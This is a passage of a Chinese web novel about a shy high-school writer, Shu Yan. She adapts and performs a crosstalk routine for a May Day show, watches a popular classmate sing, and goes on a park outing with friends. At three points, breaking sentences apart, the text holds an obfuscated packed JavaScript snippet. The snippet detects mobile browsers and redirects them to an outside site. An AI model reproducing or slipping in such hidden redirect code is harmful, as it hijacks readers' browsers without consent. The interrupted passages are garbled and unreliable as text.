其实舒言初中的时候就在文学杂志上投过稿，只是陈岚觉得她不应该在这上面花费太多时间，就不允许她再投了。 现在上了高中，允许她加入报社已经是陈岚的让步。 如果不是上次月考她有了进步，估计连报社陈岚都不会让她继续待。 用陈岚的话来说，将来的社会一定是理科生更有出息，她作文写得再好也没什么用。 可是写作是她最大的爱好，还有两年她就要成年了，她拥有保留自己爱好的权利。 再说这篇文章写都写了，只是投稿试一试又花不了什么功夫。 舒言心里做了决定，“秦老师，我愿意投稿。” 秦梦一听她愿意，欣喜地点点头，“行，那这篇稿子我就帮你投稿了哦。” 舒言：“好，谢谢秦老师。” 秦梦温柔摸摸她的肩膀，“不用谢，希望你能一直这么热爱写作。” 难得看到这么一个好苗子，秦梦难免生出爱才之心。 在秦梦热切的注视下，舒言点头：“我会的。” 写作于她，本来就是割舍不开的存在。 从办公室离开后，舒言又顺路去了一趟小卖部。 今天天气有点热，她想去买瓶汽水喝。 小卖部门口围了很多人，平时只要一忙起来，小卖部的阿姨脾气就特别不好，有时候还会骂人，今天也一样。 听班上同学说，小卖部阿姨的女儿是隔壁2班的同学。 上学期有次开家长会，小卖部阿姨去女儿班上，和平时简直判若两人，脸上一直笑吟吟，让班上的同学平时多关照一下自己女儿，等回到小卖部后，就又变成了凶狠狠的模样。 舒言等人没那么多的时候才凑了过去，她要了一瓶青柠味的汽水。 绿色的透明瓶身，冰冰凉凉的，喝一口后舌尖上都在冒泡泡，清爽又不甜腻，特别有夏天的感觉。 买完汽水后，舒言就打算回教室去，结果刚转身就迎面撞上两个人。 还是何昭先给她打的招呼，一如既往的热情。 “舒言同学，你也来买汽水啊。” 舒言没想到居然这么快就又在学校里碰到。 刚才喝下去的汽水好像又开始冒泡，弄得她喉咙有点发痒。 她攥紧手上的汽水，目光落在谢玙手中的篮球上，尽量让自己看起来心平气和，“是的，你们是去打球了吗？” 谢玙垂眸看她，纠正她的说法：“正要去。” 现在这会儿离晚自习上课还早，天气又很不错，确实很适合运动。 舒言了然地说：“哦哦，好，那你们快去吧。” 谢玙的视线在她手上的汽水上定了两秒，“嗯，先去买瓶水。” 何昭笑着把手搭在谢玙的肩上，好意邀请道：“下次有空来看我们打球啊，我们阿玙打球超级帅，平时好多其他班的女生都专门来看……” 舒言的睫毛轻颤了下，在下眼睑投下一片浅淡的阴翳。 很多人都去看吗…… 但是想想也很正常，他一直都很受欢迎。 平心而论，高中生活确实挺枯燥无味的，突然出现这么一个大帅哥，就好像黑白的世界闯入一抹亮色，很多人都会产生好奇，甚至萌生好感。 她之前就听说1班有个女生在追他，听说他每次打球的时候，那个女生都会去旁边等着，等他休息的时候就给他送水递纸，俨然一副准女朋友的姿态。 果然，何昭下一秒就提到了她，说得很是起劲，“特别是1班和22班的两个班花，来得特别勤，几乎天天都来送水，简直不要太有毅力……” ……原来还不止一个啊。 舒言默默抬眼看向某位当事人，却见他神色淡淡，一副兴致缺缺的模样，给人一种置身事外的感觉。 似乎是察觉她在看他，那人掀了下眼皮，很自然的看了过来。 谢玙一脸不耐地打断何昭，“没那么夸张。” 见她情绪不高的样子，又补充：“只是同学而已。” “你要想来的话也可以来。” 末了，从她身侧经过，“先走了。” 何昭赶紧跟了上去。 舒言停在原地，盯着自己的脚尖看。 所以他刚才是在和她解释吗？ 她拧开瓶盖又喝了一口汽水，甜津津的。 但是怎么感觉比第一口要甜一些。 她一脸怀疑的又喝了一口。 — 临近五月，天气越来越热。 数学老师艾匀背过身在黑板上画了几条直线，教室里很安静，只有粉笔摩擦黑板的声音。 “在同一个平面内，直线与直线之间要么相交，要么平行……” 午后的阳光很是温暖，见大家有些昏昏欲睡，艾匀笑着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236199|166098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看向底下的学生。 “其实人与人之间的关系也一样，要么相交，要么平行，而有的人注定只能遥遥相望，永不相交，大家想是不是这样的……” 底下立马有同学问：“艾老师，那你觉得人与人之间的关系是相交好，还是平行好呢？” 艾匀笑了笑，“这个问题，同学们可以自己去思考。” 见目的达到，就又开始给大家讲解习题。 下课后，舒言握着笔却迟迟没有下笔。 她在思考数学老师课上说的那几句话。 可是相交之后两条平行线不也是渐行渐远了吗？ 就像有的人即使产生交集了，也是没有办法永远保持联系的。 在欧几里得的几何世界里，两条直线要么相交，要么平行。 但地球是圆的，如果现实中产生交集又走散的人，会不会有可能又重新相聚在一起呢…… 只是这个问题的答案，或许要很多年后才能知晓。 …… 下周就是五一劳动节，学校组织了文艺汇演和劳动技能比拼活动。 这两天冉华容也在鼓励大家踊跃报名参加。 听见周围讨论的声音，蔡妙妙转身过来问：“言言，你要参加什么项目吗？” 陈质也投来好奇的眼神。 文艺汇演的节目无非就是唱歌，诗朗诵，小品，相声之类的，而劳动技能比拼有详细的项目，分别是厨艺，衣物整理，衣物缝补。 说句实话，这些劳动技能舒言都不太擅长。 她摇摇头，表示自己还没想法。 蔡妙妙眨了眨眼睛，“我听徐艺说这次的劳动技能比拼挺多人报名的，但是文艺汇演的节目和人选还没定下来。” 正说着就看见班长夏艺朝她们走了过来。 “舒言，有件事我想和你商量。” 舒言抬头看她：“怎么了？” 夏艺有些苦恼地说：“就是文艺汇演的事，没人愿意上啊。” “班上那些有才艺的同学之前的活动都上过一遍了，这次说什么都不愿意继续上台了。” 她看向舒言，眼神有些期待：“冉老师和我商量了一下，觉得你文笔这么好，要不这次咱们班改编一个相声吧。” “也不是让你全都自己写，咱们从网上找一个来改编，就内容改成歌颂一下劳动就行……” 说完，她眼巴巴地盯着舒言看：“你觉得可以吗？” 陈质多问了一句：“那谁去表演呢？” 夏艺：“如果舒言同学能亲自上的话当然是最好的，毕竟会更熟悉一些嘛。” 舒言抿了下唇角，一番话听下来，似乎是希望她把文艺汇演这块全部包揽下来。 夏艺：“你放心，你有什么需求我们都会满足，不会让你孤军奋战的。” 说完还做了个拜托拜托的手势。 改编相声这件事儿，对舒言来说估计不是什么难事，只是还要上台表演……她并没有经验。 一旁的陈质看出她的纠结，轻咳了一声，“其实我应该可以和你一起。” 他补充道：“我爷爷喜欢相声，所以我家每年过年的时候也会说几段……” 夏艺一听眼睛都亮了，这说相声肯定得有两个人，一唱一和，一捧一逗。 “这就再好不过了。” “那就拜托你们了，不过你们放心，文艺汇演都是轮着来的，下次就轮到其他同学了。” 舒言点点头，算是正式应承了下来。 夏艺：“太好了，那今天中午我们一起去办公室选选适合用来改编的相声。” 舒言说好。 12. 第12章 要用来改编的相声很快就选好。 在冉华容的指导下，舒言在当天晚上就把改编版完成。 既然是劳动节的文艺汇演，那么肯定要和劳动这个主题牢牢相扣，舒言在改编的时候融入了自己平时对各科老师还有周围同学的观察，既起到了歌颂劳动的作用，又不失幽默和谐。 “哈哈哈哈。”才看了一遍，蔡妙妙就忍不住捧腹大笑，“天哪，不敢相信，这要是在台上表演，不得把学校的老师们夸成翘嘴啊。” “你真的太有才了，言言。” “不过……”蔡妙妙定睛看她，“很难想象你嘴里说出这些令人发笑的句子诶。” “好期待啊。” 舒言给人的印象更多是温柔安静的，像含着露珠的栀子花，有时候也会有点小幽默，但是这么一本正经地搞笑确实是没有见过的。 夏艺赞同地点头，“确实是诶，不过改编后的相声真的很有意思，我已经开始狠狠期待了。” “期待什么？”王远突然朝他们走了过来。 夏艺把相声的稿子递给他看，“看了就知道了。” 王远立马好奇地扫了几眼，没看几句就被逗得发笑，“我去，真有意思啊。” “这相声谁写的啊。” 陈质一脸骄傲，“那可不，舒言写的，你们下周就等着看我们在台上大放光彩吧。” 王远竖起大拇指，“舒言同学还是这么牛啊。” 他清了清嗓子，刻意压低了声音说：“对了，我昨天下午和17班的打球，听说这次五一的文艺汇演，他们班那个大帅比要唱歌呢，人家搞乐队的，应该挺厉害的。” 陈质挑眉，随口问：“谁啊？” 王远拍拍他的肩膀，“就那个篮球7号啊，你不记得了？” 陈质自然是没忘记，只是因为上次篮球赛的事情，他对17班的人没啥好感。 他说：“那又怎么样，等着看，咱们班这个节目绝对是第一名。” 王远的目光在陈质和舒言身上来回扫视，狭促一笑：“期待哦。” 陈质的喉结紧张兮兮的吞咽了一下，“放心，不会让你失望。” 等王远离开后，蔡妙妙好奇地问：“你们刚才说的那个篮球7号是上次篮球比赛打球很厉害，投篮一投一个准的那个吗？” 陈质没好气的从鼻腔发出一声轻哼，“是。” 蔡妙妙兴奋鼓掌，“哇，真厉害啊，没想到他还搞乐队呢。” 他们在旁边有一搭没一搭的聊着，可舒言没太关注，她单手撑着下巴看着窗外，平静如海面的眼里隐隐盛着期待。 …… 这周接下来的时间里，舒言每天都会抽出时间和陈质排练相声。 因为陈质之前有表演相声的经验，所以排练的过程还算顺利。 很快时间就来到文艺汇演的前一天晚上，回了宿舍，舒言对着镜子观察自己的表情，她怕自己语气夸张的同时，表情就狰狞了。 许漫趴在门上看她，觉得有些好笑，“舒言，你怎么了？” 舒言回头看她，对她露出一个表情，“我这样是不是挺奇怪的。” 眼前的少女皮肤白得像溶了层雪白的霜，平时明亮温柔的杏眼里透着点迷茫，看上去有点呆呆的。 许漫噗嗤一笑：“不会啊，而且还特别可爱。” 她轻啧了一声，觉得舒言有些反常，“你不太对劲，怎么突然在意起自己的外貌了。” 在她看来，舒言心里最在意的只有学习。 舒言和她说了自己要上台表演的事。 许漫这才反应过来，一副原来如此的表情。 她宽慰道：“没事，别紧张，你长这么漂亮，光是站上台就会吸引所有人的目光，大家估计都盯着你的脸看了，哪里会注意你在说什么。” 舒言觉得她说得太夸张，”也不至于吧。” 她觉得自己的长相没有出彩到这种地步。 许漫：“放心好了，而且隔得也挺远的，除了站在第一排的人能看清你，后面的只能听见你在说什么。” 听许漫这样一说，舒言才意识到她确实是多虑了。 比起脸上的表情，她或许更应该注重自己的发声和肢体语言。 其他室友听说她要上台表演的事情，也是给足了舒言勇气。 鹿铃儿亲昵的把头靠在她肩上，“安啦，言言宝贝，我在下面一定给你大声鼓掌，把手都鼓烂。” 另一个室友也附和道：“就是就是，如果掌声不够响，我还可以跺脚。”边说还边做起了动作，蹦蹦跳跳的很是俏皮。 逗得整个宿舍都哈哈大笑起来。 舒言心里暖暖的，也跟着大家一起笑，心里的那点顾虑彻底烟消云散。 女孩子什么的，果然是世界上最可爱的生物。 — 五一文艺汇演当天。 舒言穿上了特意借来表演的浅蓝色大褂，头发在脑后松松绾了个髻。 看见她走过来的时候，班上好多女同学都凑过来夸她很有气质。 她个子高挑，皮肤白，又有书卷气，这身打扮很衬她。 蔡妙妙：“言言，你刚才走过来的时候好像一个民国的大小姐，太令人惊艳了。” 陈质也在一旁点头，“确实很好看。” 陈质今天也穿了同色系的大褂，他比入学那会儿长高了些，又戴了眼镜，倒是有几分翩翩公子的意味。 蔡妙妙双手环胸盯着他看，“不赖啊，陈质，你今天这身打扮站在我们言言旁边也还算相配……” 说者无意，听者有心。 陈质被她突然这么一句弄得脸上热热的，他别开眼，不好意思去看舒言是什么反应。 班主任冉华容很快就过来提醒他们站好，又贴心的给舒言和陈质交代了一些注意事项。 上台的顺序是按照班级来的，每个班表演的节目时间控制在三分钟左右。 第一个上台的是1班。 主持人报幕以后，一个穿着民族服饰的女生昂首挺胸地走上了台。 她落落大方的走到舞台中央，对着台下鞠了一躬。 很快配乐响起，她跟随音乐开始翩翩起舞，身姿优美柔软，像一只漂亮的蝴蝶。 她选的这支舞情感表达比较大胆热烈，很快就把现场的气氛点燃。 “这不是1班的周荔吗？” 舒言听见周围的同学在小声议论。 “是啊，她长得好漂亮啊，还会跳舞，像只骄傲的小孔雀一样。” “听他们班的人说，她平时比较傲，家里又挺有钱，好像谁都看不上……” “咦，可是我听说她好像在追17班的一个男生，每天眼巴巴的跟在人家身后呢。” “天哪，这是真的吗，周荔这么傲的人竟然舍得下身段追人？” “是的，不过听说一直没追到……” “啧啧啧，美女难过帅哥关啊。” 原来她就是周荔吗？ 舒言的视线情不自禁地落在她身上，他们班站在前面的位置，所以她看得很清楚。 不得不承认，周荔是一个很有魅力的女孩子。 如果要用一种花来形容她，除了玫瑰没有更合适的。 她就像一朵含苞待放的红色玫瑰花，明艳动人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236200|166098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，热烈又张扬。 一舞终，周荔对着台下的观众谢礼，又朝着某个方向做了个飞吻，引得台下一阵骚动。 台下的领导也很欣赏这个热情美丽的女孩，毫不吝啬地给了一个高分。 第二个节目后就轮到舒言他们上台了。 舒言挺直背走在前面，陈质紧跟在她身后上台。 等站好后，陈质又帮舒言调节好话筒的高度。 准备就绪后，舒言和陈质对视了一眼，给彼此加油打气。 她微微一笑，对着台下的老师和同学做自我介绍，“尊敬的老师们，亲爱的同学们，大家上午好，我是来自高一3班的相声演员舒言。” 陈质：“我是来自高一3班的相声演员陈质。” 两人同时对着台下鞠躬。 台下响起一片激烈的掌声，伴随着班级同学的欢呼声。 没想到他们班的节目居然是相声表演，台下的几个领导眼里多了点兴味，很是期待。 表演很快开始，经过一周的排练，两人在台上配合得十分默契。 “哎，陈质，今天咱们来说说劳动那些事，好不好。” “好啊，从哪里说起。” “先说说咱们亲切和蔼的秦校长吧……” “他怎么了。” “……” 整场表演流畅又生动，画风幽默风趣，好几次都把大家逗得发笑，现场的气氛再一次被他们点燃。 虽然是在说相声，但是内容又紧扣劳动这个主题，却又不会显得不生硬严肃。 无论是演员的声音还是表情和动作，都演绎得十分到位。 谢幕以后，台下更是响起了雷鸣般轰动的掌声。 下台以后，舒言的心跳才慢慢降速下来。 旁边的同学凑上来对他们说：“你们刚才真的太棒了。” “对啊对啊，目前看来咱们班这个节目是最精彩的。” “你俩刚才的相声真的说得太有意思了，比平时在班上说得还要好。” “不愧是你啊，舒言，写个相声都能写得这么好，还紧扣主题，当之无愧的作文王者……” 对大家的称赞，舒言一一谢过。 刚才在台上她还是有些紧张的，不过幸好顺利完成了。 这是她第一次说相声，对她来说是一次很不错的经历，她喜欢尝试新奇的事物。 之后的表演显得有些漫长，她有些心不在焉地看着，心里却默默在计算着还有多久才轮到17班的节目。 之前听王远说他会上台唱歌，也不知道会唱什么歌。 只不过以他优越的声线，不管什么歌都会被他唱得很好听吧。 而且何昭应该也会和他一起。 不知道过了多久，台上又一个表演结束，掌声响起的那刻，隔壁班文科班的女生突然躁动起来。 “是不是要上台了啊。” “对，应该是的，下一个就是17班了。” “天哪，好期待。” “就是就是，终于可以听见谢玙唱歌了，我真的期待好久了。” “真羡慕他们班的同学，听说谢玙之前也在班上唱过歌。” “听歌倒是次要的，主要是想看帅哥，啊啊啊，还好咱们占据了地理优势。” “诶，你们说待会上台了，那周荔的眼珠子不得在人家身上盯出个窟窿来啊。” “哈哈哈，刚才她是不是在台上对人家飞吻来着……” “不得不说可真够大胆的啊，没几个人有这样的勇气，反正我是不敢的。” 在大家叽叽喳喳的时候，谢玙背着一把吉他走上了主席台。 13. 第13章 出现在台下师生视野里的谢玙穿得很休闲，白色体恤加深色工装裤，隐约勾勒出他劲瘦的线条感，整个人随性又慵懒。 年级上大部分人都听过他的名字，但还是第一次见到他本人，好多人都忍不住踮起脚来看他。 这样的少年，好像连阳光都偏爱他几分，金色的光晕落在他身上，仿佛加上了一层天然的滤镜，耀眼得让人挪不开眼。 何昭跟在他身后也上了舞台。 相识多年，两人已经足够默契。 何昭最擅长的乐器就是架子鼓，这一次他也选择用架子鼓鼓给谢玙伴奏。 伴奏声很快响起，少年干净柔和的歌声旋即回荡在整个礼堂。 “凌晨四点钟 路灯巷子口 月亮藏在云后 偶闻鸣笛声 却见你平凡身影 …………” 开嗓即惊艳。 主席台下直接听取蛙声一片。 不得不承认有的人天生就是大明星，对舞台有绝对的掌控力。 一个简单的文艺汇演，谢玙硬生生地把它变成了自己的演唱会现场，底下好多学生都自发的开始跟唱，整个礼堂都是学生们充满活力和朝气的声音。 现场的氛围被前所未有的拔高，整个操场都沸腾起来。 评委席的领导们微笑着耳语，眼里的赞赏完全藏不住，显然对谢玙的表演很是满意。 台下1班所在的班集体里。 周荔的好朋友拉了下她的衣角，调侃道：“三力，眼光不错啊。” 周荔脸上露出骄傲的笑容，眼神一直没离开过台上的人，“我早说过的，他很优秀。” 也只有优秀的人才配得上她的喜欢。 她对谢玙是一见钟情，从看到他的第一眼，她就决定要追他。 朋友默默竖起大拇指，“那就祝你早日早日抱得帅哥归，以后你俩结婚的时候我要坐主桌。” 周荔脸上染上一抹薄红，娇嗔道：“这八字还没一撇呢。” 这人难追得很，都已经拒绝过她两次了。 可她就喜欢他那副冷淡的模样，仿佛谁都瞧不上，让她很有征服欲。 如今他在学校的名气越来越大，周荔心里很清楚喜欢他的人只会多不会少。 她自然也是很有危机感的，下定决心要早日把他追到手。 朋友揶揄道：“这不都是迟早的事情吗，你周荔这么一个大美女倒追他，他有什么资格不同意，还是速速投降吧。” 周荔被她说得又是开心又是害羞。 她目光灼灼地盯着台上的少年看，心里已经盘算着等活动后要去找他，缠着他陪自己一起吃饭。 …… 谢玙唱的这首歌舒言听过，是林菲之前在一次活动庆典上唱过的。 这首歌的旋律比较轻快治愈，让人闭上眼就能想象出歌词里所写的—— 流淌的小溪、金黄的稻田、盛夏的蝉鸣、果实的香气…… 让人情不自禁的向往。 舒言发现自己很享受听他唱歌，某种程度上说，她也算是他的歌迷？ 表演还在继续，周围的很多同学都在小声讨论他，三言两语间都在夸他很有天赋。 他外在形象好，又有才华，迟早会闯出自己的一片天地。 舒言又听见前排的同学在说：“你们看到他的那把绿色吉他没，我之前也想学吉他，就了解了一下市场，他那把吉他至少得十几万了……” “天哪，这么贵吗，就那把吉他。” “是的，虽然贵，但是音质好啊，而且他如果真的想搞乐队，有把好的吉他也是助力啊。” “哈哈哈，也是，像我们这样的，还是用烧火棍比较好。” 有同学推测道：“这么说来他的家境应该不错的……” “我之前好像听谁说了嘴，他是从北沅转学过来的，家里应该挺有钱的吧……” “从北沅来的啊，难怪哦，不过玩音乐确实挺烧钱的，何况人家还组乐队呢……” “不知道他为什么会转学到南港来，玩音乐的话，北沅那边不是更有利于他发展吗？” “这谁知道呢，有钱人的心思咱也猜不到啊，而且说不定人家哪天就又转回去了呢，对他们来说不过一句话的事情。” “哈哈哈，这倒也是，不过他确实唱得挺好的，有吃这碗饭的实力。” “打个赌不，我赌很多年后他肯定会红遍大江南北……” “哈哈哈，也不是没有这个可能。” 周围同学的窃窃私语全都落入舒言耳中，只是听着听着却不自觉地皱了起眉。 这些事情……她之前都不知道。 不知道他其实家庭优渥，也不知道他是从北沅那边转学来的，甚至有一天还可能会离开…… 她对他了解似乎少得可怜。 虽然这很正常，毕竟不久前的周末他们才刚刚称得上是认识。 甚至在看朋友看来，她也只是他朋友的朋友而已。 只是忽然从同学口中听到这么多关于他的消息，让她一时有些感慨。 谢玙的表演已经结束，之后的表演更是让人兴致缺缺，舒言直接从校服外套的口袋里拿出了英语单词本。 平时做题的时候，遇到不认识的单词她都会抄在上面，用英语词典查找它的词性、词意，在升旗仪式、排队吃饭这种比较漫长的无聊时段就拿出来背诵。 英语老师也很鼓励他们这样做，说可以方便他们随时随地记忆，班上有些同学甚至连上厕所的时候都要带上这个本子。 今天下午就是劳动技能大比拼，所有同学都可以自由活动。 原本坐在前排的蔡妙妙悄悄走到舒言旁边，懒洋洋地靠在她身上，问：“言言，下午你想干嘛呢。” 舒言没什么特别的想法，“随便逛逛吧，看看他们比赛。” 蔡妙妙：“好啊好啊，听说厨艺大赛的时候，我们可以去当评委，不知道有没有隐藏的大厨。” “不过，我还有点想躲起来偷偷看小说。” “我跟你说，我昨天借到一本特别好看的小说，叫《霸道校草狂宠我》，真的好看死了，我昨晚熬夜在看。” “啊啊啊，怎么现实生活里没有这种男神降临在我身边，然后一把搂过我，说——女人，你是我的，不需要受任何委屈，或者直接扔给我几千万也行。” “真的是想想就激动死了。” 蔡妙妙平时最大的爱好就是看言情小说，尤其是霸道校草，冷面总裁，黑.道男友之类的，简直欲罢不能。 舒言忍俊不禁：“那我们逛一会儿就一起找个地方看书？” 张爱玲的《小团圆》她还没看完，今天刚好可以收尾。 蔡妙妙迫不及待地点头：“好啊好啊。” 等所有班级的表演结束后，主持人组织大家有序离场。 舒言正跟随拥挤的人.流慢吞吞往前挪步，一抹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236201|166098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 靓丽的色彩骤然她的闯入视线。 是周荔。 她提着裙摆奋力挤开周围的同学，往某个方向跑去。 笑容明媚，发丝舞动。 义无反顾的奔向某个人。 舒言眼睫下压，默默收回了视线。 …… 下午的劳动技能比拼还算精彩，舒言和蔡妙妙完整的逛了一圈才离开了操场，她们绕路去了教学楼后面的连廊。 这个季节的连廊特别漂亮，上方全是绽放的紫藤萝，条条缕缕的垂下来，宛若一条条紫色的瀑布。 连廊两侧的水泥台上已经坐了一些学生，三三两两的聚在一起看书、聊天。 舒言和蔡妙妙找了个角落的位置坐下，一起享受难得的闲暇时光。 空气里有淡淡的花香，微风吹拂，很是悠闲惬意。 舒言翻开手上的书，开始认真看了起来。 快5点的时候，两人一起回了教室。 刚坐下舒言就听见教室外面有人在叫自己。 她抬头一看，原来是许漫趴在他们教室门口，只露出个毛茸茸的脑袋。 许漫笑着朝她招了招手，示意她快出来。 舒言赶紧走了出去。 许漫一见到她就问：“舒言，明天就是五一了，要不要一起去外面玩啊。” “我们一起出去骑自行车，放风筝好不好？” 舒言问：“去哪里骑车放风筝呢？” 许漫：“就松湖公园附近，那边比较宽敞，而且我看了天气预报，明天是个大晴天。” 下午的劳动技能比拼结束后，五一假期就正式开始了，连着周末一起放三天。 五一假期结束后就要开始准备月考还有化学竞赛的事情，确实可以趁这个假期浅浅放松一下。 舒言笑了笑：“好，那我们一起。” 许漫点点头，又说：“除了我们，谢玙和何昭他们也一起，梁潇雨和梁霄云还不确定要不要一起来，你应该不介意吧？” 没想到他们也会一起，舒言盯着走廊的栏杆思绪有些飘渺。 脑海里浮现今天上午离场的时候，周荔热情似火的跑到他身侧，和他一起离开。 单从外形来看，其实他们很相配。 这样美好的女孩子应该没有人能拒绝吧。 只是……舒言眼帘低垂，心里忽然觉得有些闷闷的，一股不知名的情绪在胸腔发酵。 她自己也说不上来到底怎么回事。 只是觉得有些不开心。 “怎么啦，你不想和他们一起玩吗？” 见她一直没说话，许漫误以为是她不愿意和他们一起出去玩。 “没有。”舒言很快否认，“我没有不愿意。” 那股不舒服的感觉被她强压了下去。 她温声询问：“那我们明天约在什么时间呢？” “上午10点左右吧，我晚上回去和何昭他们说。” “嗯嗯，好。” 许漫：“好，那明天见！” “明天见。” 许漫离开后，班上其他同学都陆陆续续回到了教室。 这次五一的活动他们班都表现得很出色，舒言和陈质的相声表演更是拿下了第一名，听说学校里的几个领导都对他们的节目赞不绝口。 冉华容来教室交待了几句五一假期的注意事项，特别强调在假期里不能光顾着玩，要认真完成各科作业，及时复习，为下一次月考做准备。 14. 第14章 五一当天，松湖公园里风清云朗，花香袅袅。 舒言是第一个到的。 因为是假期，公园里的人并不少。 时间还早，舒言走到人工湖旁边看别人喂鱼。 池子里养的都是观赏鱼，以锦鲤为主。 鱼食一撒下去，满池的鱼儿都争先恐后地游了过来。 看到这副场景，有个拿着桃木剑的老爷爷在吐槽：“每天都喂，谁都来喂，鱼就是被你们这些人喂死的。” 说完，摇着头叹气走开。 舒言忍俊不禁。 松湖公园是南港最大的公园，哪怕不是假期，游客也不少。 锦鲤是松湖公园的一大特色，几乎每个来游玩的人都会上去喂喂鱼。 贪吃的鱼儿被无节制的投喂，撑得肚皮仰起，一命呜呼。 “舒言——” 身后响起一声惊喜的呼唤，一听就是许漫的声音。 舒言转过身，一眼就看见许漫朝她小跑过来。 而被她甩在身后的人是何昭和谢玙。 两个人都是身高腿长，并肩走在路上，十分的养眼，惹得好多路人频频回头。 许漫今天穿得很漂亮，白色吊带外搭蓝色条纹衬衫，下面是一条白色的刺绣半身裙。 她笑盈盈地走过来拉住舒言的手，“你来得好早啊。” 舒言笑着看她：“平时在学校习惯早起了。” “嗨喽，舒言同学，我们来啦。”何昭笑眯眯地凑上来。 “嗨。”舒言和他打过招呼，又礼貌地朝着谢玙颔首示意。 谢玙嘴角上扬，“嗨。” 他抬手看了眼腕表，低头询问大家的想法：“早上空气不错，先去骑车？” 许漫：“我都可以。” 何昭：“好啊好啊。” 舒言也表示自己没意见。 谢玙抿抿唇，视线看向不远处的商店，“我先过去买水，你们要喝什么？” 何昭：“老样子，冰红茶。” 许漫不爱喝甜的饮料，“我喝苏打水就行。” 谢玙的目光自然而然地落在舒言身上，安静等待她的回答。 “我……”舒言想了想，说：“我和你一起去买吧。” 谢玙似乎轻笑了下，“好，那就一起去。” 许漫被湖里的锦鲤吸引，拉着何昭一起趴在栏杆上看，“那我们在这里等你们。” 舒言和谢玙并排走着，她用余光偷看了他几眼，描摹他挺直的鼻梁，紧抿的唇线，线条分明的下颌。 然后在心里默默感叹，这人长得是真好看啊。 不知道是不是她看得太过于明目张胆，谢玙忽然停下了脚步，偏过头，漂亮的桃花眼准确无误地瞥向她。 他薄薄的眼皮下压，嗓音清淡，“你在偷看我？” 他语气平淡得像是在陈述一个事实，只是舒言却被他的话震惊得瞪大了双眼。 “啊？”她没想到自己偷看不仅被本人发现，还直接被当事人质问。 她慌乱地移开视线，干脆放弃挣扎，“我只瞄了几眼。” “……绝对没有冒犯你的意思。” 谢玙点点头，一副恍然大悟的模样，“所以，你和我一起过来买水，就是为了……” 他欲言又止，但不难听出话里话外的意思。 仿佛在说没有想到舒言同学你竟然是这样的人。 她听着听着怎么感觉自己像个女流氓一样。 虽然他确实有些秀色可餐…… 舒言一时语塞，直接扔下他快步往买水的地方走去。 只是那背影说不出来的不淡定。 被她扔下的谢玙像个没事人一样，气定神闲地跟了过去。 商店的老板问她要什么，舒言说要一瓶冰红茶，一瓶苏打水，还有一瓶青柠味汽水…… 她忽然想起还不知道谢玙要喝什么，刚想转过身去问他，结果他就出现在自己身后。 舒言有些不自然地别开了眼。 谢玙不紧不慢地补充道：“青柠味汽水要两瓶。” 老板看出来他们是一起的，笑着说：“好嘞，一共16块。” 谢玙从口袋里拿出纸币递给他。 老板接过钱，才转身把几瓶水装在袋子里递给他。 谢玙单手提着饮料，另只手垂在身侧，示意她：“走了。” 舒言还没从刚才的事情中缓过来，一时之间不太想和他一起走，只默默跟在他身后。 只是没想到他又停了下来，回过头见她低着头慢吞吞地挪步，眉头微蹙，像在思考什么。 他说：“怎么，是觉得刚才还没看够……” “所以……不想这么快回去？” 他一脸牺牲很大的样子，自顾自的说着：“那要再看一会儿吗？不过你得看快点，他们还在那边等……” 说完十分配合地弯了点腰，一张帅脸就这样突兀的怼在她面前。 舒言：“……” 惊讶得不知道该说什么。 见她呆呆的没反应，谢玙还十分“体贴”地催促她：“快点看哦。” 舒言耳朵红得快要滴血，她抬手捂住眼睛，“……我不看了。” 说完一把抢过谢玙手里的饮料，“我先过去，你慢慢来。” 说完也不管他什么反应，直接跑了。 等她过去的时候，许漫一脸惊奇地盯着她绯红的脸蛋看，“舒言，你很热吗？” “还有你为什么一个人跑过来了，谢玙呢？” 舒言不好意思说自己是被某人几句话就撩得落荒而逃。 随口找了个借口，“我怕你们太渴了，就跑过来了。” 听她这么一说，许漫也没继续问，觉得自己确认是有些渴了，拿出自己的苏打水喝了起来，“哦哦，谢谢你啊，舒言。” 没过多久谢玙也回来了。 何昭上去吐槽他，把水扔他怀里：“阿玙，你这也太没绅士风度了，怎么让人家女孩拎着水回来呢。” 后者脸上带了点无辜的笑，没回话，反而看向了她。 舒言眼睫飞颤：“没有，是我自己非要拿水回来的。” 怪她怪她。 谢玙拧开瓶盖喝了口汽水，嘴唇水润润的，“就是，这事可不能怪我。” 何昭轻啧了一声，“行了，我们过去租自行车吧。” 松湖公园有专门的自行车骑行线路，全程骑下来差不多四十分钟左右。 他们租完自行车后来到了骑行路线的起点，今天天气不错，又碰上假期，骑车的人不少。 调好座椅高度后，舒言很顺利地踩上踏板骑了出去。 何昭和许漫骑在前面，两个人在比赛谁技术更好，谁骑得更快。 